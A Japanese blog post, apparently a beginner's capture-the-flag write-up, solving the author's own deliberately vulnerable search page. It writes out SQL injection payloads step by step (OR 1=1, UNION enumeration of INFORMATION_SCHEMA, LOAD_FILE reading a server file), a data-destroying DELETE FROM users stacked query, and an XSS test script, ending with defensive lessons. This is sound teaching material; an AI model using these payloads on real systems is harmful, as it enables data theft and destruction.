CTF初心者が問題サーバ(web)を構築してみた【回答編】

## はじめに
こちらの記事は [CTF初心者が問題サーバ(web)を構築してみた【問題編】](https://qiita.com/fiotto/items/a1830cfae6a1fa121ad9)で作成した、Web問題を解き方を解説します。
問題編の最後に、この問題のリポジトリのリンクもあります。
この記事のように、CFTの問題の解説記事はWriteupというようです。
筆者自身が作成し、筆者自身もCTF初心者のため
普通はそのような発想にはならないだろう等の指摘がありましたら、ご教授いただけると幸いです。

## 注意点
こちらの内容ではサイバー攻撃の一部を実際に行うことになります。
実際に攻撃を行うことで、どのような効果があるのかを学ぶことを目的としています。
決して、実際のシステムに攻撃を仕掛けることは行わないようにしてください。

## 前提

### この問題サーバでのルール
- フラグの形式は`myctf{フラグ}`となります。
- サーバの中には3つのフラグが隠されています。

## 実際に問題を解いてみる
まずは、問題サーバへアクセスする。
![2019-12-04 12.06.27 localhost e3de80904c2e.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232364/dcb57a09-c497-8eb8-9712-5ab8aa51a0b4.png)

テキストに値を入れ検索ボタンを押してみる。
![2019-12-04 12.06.52 localhost c4217ceed7b3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232364/3df4a461-ff3f-1e1d-693c-6d77987afe11.png)

ログインページでは出ないことから、`robots.txt`や`.git`を探しても、有益な情報が得られる可能性は低いので、
SQLインジェクションをで取れないか確認してみます。
実際にそういったファイル等は置いてはいません。

### テーブルのデータを取り出してみる

まずは対称のテーブルに隠されているレコードがないか全件を取得できないのかを確かめます。
`' OR 1 = 1; -- |`で検索してみます。
![2019-12-04 12.07.43 localhost 3d2e52c8fcb8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232364/daab8b40-86af-0fba-6b4a-b4676c3449b1.png)

早速、1つめのフラグ`myctf{scf_sql_injection_flag}`を見つけることができました。

#### 解説
今回のクエリの生成方法は、
`SELECT * FROM users WHERE delete_flag=FALSE AND job LIKE '%検索値%'`
というものでした。
今回のクエリを代入してみると
`SELECT * FROM users WHERE delete_flag=FALSE AND job LIKE '%' OR 1 = 1; -- |%'`
というクエリになります。
`-- `は行コメント扱いとなるので
`SELECT * FROM users WHERE delete_flag=FALSE AND job LIKE '%' OR 1 = 1;`
となり
`〜 OR 1 = 1`では常にTrueとなるので、実質
`SELECT * FROM users WHERE TRUE`
というクエリを発行できてしまうため、論理削除で削除された、データも取り出せてしまいます。
ちなみに
`SELECT * FROM users WHERE (delete_flag=FALSE) AND (job LIKE '%検索値%')`
のように優先順位をつけてクエリを生成されている可能性もありますのでその場合は、
`') OR 1 = 1; -- |`
のように、最初の`'`の後に`)`を場合によっては複数追加することで、突破できます。

### 対象のテーブルの構造を調べる

UNION句をつかって、内容を探ってみます。
`' UNION SELECT null; -- |`で検索
エラー

`' UNION SELECT null, null; -- |`で検索
エラー

`' UNION SELECT null, null, null; -- |`で検索
エラー

`' UNION SELECT null, null, null ,null; -- |`で検索
エラー

`' UNION SELECT null, null, null ,null ,null; -- |`で検索
![2019-12-04 12.51.46 localhost 6375079a0b09.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232364/37b6937f-d962-c6bc-f2bd-4916dfcd159d.png)
エラーとならず、画面が表示されました。
nullがNoneと表示されているあたりが、Pythonで書かれているのだろうというのはひとまずおいときます。

このことから、クエリでとりだしたカラムは5つであることがわかりました。

#### 解説
UNION句は2つのクエリ結果が列の数と順番は、すべてのクエリで同じである必要があるので、
この命令はではカラムの数を変えながら、エラーにならないものを絞っていくことで、
テーブルの構造が推測できます。

### 対象のテーブルの構造をもう少しを調べる
`' UNION SELECT '1', '2', '3' ,'4' ,'5'; -- |`で検索
![2019-12-04 13.14.28 localhost 3eca8bd17aee.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232364/c410d080-60de-9b21-94f2-9dc075ed8cd5.png)

表示された内容から、
1番目、3番目、2番目、4番目のカラムが表示対象であることがわかります。

### データベースの情報を抜き出す

別のテーブルにフラグがないかを確認します。
`' UNION SELECT table_name, table_schema, null ,null ,null FROM INFORMATION_SCHEMA.TABLES; -- |`

![2019-12-04 13.20.10 localhost 7a5952edd7b2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232364/37f6c449-dcf0-2ee6-28ef-8efef033394b.png)

色々とデータを取り出せました。
これだけのデータを取得できているのでroot(PostgreSQLではpostgres)ユーザで接続しているのだろうことはわかりますし、テーブル一覧から、データベースがMySQLであることもわかります。

今回、注目するのはctf_dbというデータベースに、usersとflagというテーブルが存在することがわかります。
明らかにあやしいflagテーブルからデータを取りたいところですが、その前にflagテーブルのスキーマを確認しなくてはいけないので取り出してみます。
`' UNION SELECT COLUMN_NAME, COLUMN_TYPE, null, null, null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'flag'; -- |`
PostgreSQLの場合`COLUMN_TYPE`のところを`DATA_TYPE`とする。

![2019-12-04 13.32.55 localhost eecd5fee60d4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232364/969ea7b9-9ee9-aefa-a7a2-56b854dd3c4e.png)

カラムが4つでカラム名と型もわかったので、4つのカラムをそれぞれUNIONしてレコードを取り出してみます。
`' UNION SELECT id, flag, create_date, update_date, null FROM flag; -- |`

![2019-12-04 13.43.11 localhost 1552a0fa06dd.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232364/e995e647-bc84-44ec-4f56-2ef6fd2dd77a.png)

２つ目のフラグ`myctf{next_flag_[/var/ctf/flag.md]}`を見つけました。

2つ目のフラグが`next_flag_[/var/ctf/flag.md]`ということで、このフラグが次のヒントになっています。
次のフラグは`/var/ctf/flag.md`に隠されているようです。
一連の処理の中で、別のscriptが動いているのでしら、コマンドインジェクションで取ることも考えられますが、
MySQLということでLOAD_FILE関数で取れないか確認します。

まずは接続しているユーザを確認します。
データベースの構造を確認した時にrootで接続しているのだと推測できましたが、念の為確認します。

`' UNION SELECT null, CURRENT_USER(), null, null, null; -- |`

![2019-12-04 14.15.05 localhost 7653e4b90eea.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232364/cc417b13-d58e-90ad-c404-238bea7d31a9.png)

rootで接続しているのがわかったので、LOAD_FILE関数で指定のファイルを取り出せないか確認します。

`' UNION SELECT null, LOAD_FILE('/var/ctf/flag.md'), null, null, null; -- |`

![2019-12-04 14.17.51 localhost ae05a536825b.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232364/bb18c0fe-0632-39a8-8f9e-be60be74c1b4.png)

３つ目のフラグ`myctf{mission_complete}`を取得できました。

これで、3つのフラグを全てを取得できました。

## その他
今回使ったPyMySQLでは、syntax errorとして、エラーとなっていましたが(これができないとなるとCTFの問題としての拡張が難しい気がする)
PHPで実装した場合は、
`' OR 1 = 1; DELETE FROM users; -- |`で検索すると、
これで、他のデータも含めて、フラグそのもの、消すことでできてしまいます。
King of the Hill形式の問題では、このようにフラグそのものを消してしまっても、ディフェンスポイントという扱いになるのか、その辺の知見がある方は、教えていただけると幸いです。

今回の画面では入力結果を画面上に出力されており、
クロスサイトスクリプディング(XSS)の脆弱性もあるのを確認してみます。
この場合なら、inputタブのvalueオプションから仕掛けることもできます。
`<script>alert("XSS")</script>`で検索すると

<img width="854" alt="スクリーンショット 2019-12-04 15.54.46.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/232364/f35db933-173d-6173-c969-ca82f563ffa1.png">

というわけで、XSSの脆弱性があることもわかります。
ただ、今回はXSSの脆弱性を問題にはしていません。

## まとめ
今回の内容で注意しなくてはいけないこと （もちろん、これだけやっておけばいいというものではありません）

- SQLのクエリ発行には、ORMなどでエスケープする
- データベースに接続するユーザの権限は最低限にする
- 論理削除は被害を拡大しかねない（そもそもあってはならないことではありますが）
- データベースからのファイルアクセスは慎重に

少しでも、興味を持たれた方は、常設CTFの問題に挑戦してみてはいかがでしょうか。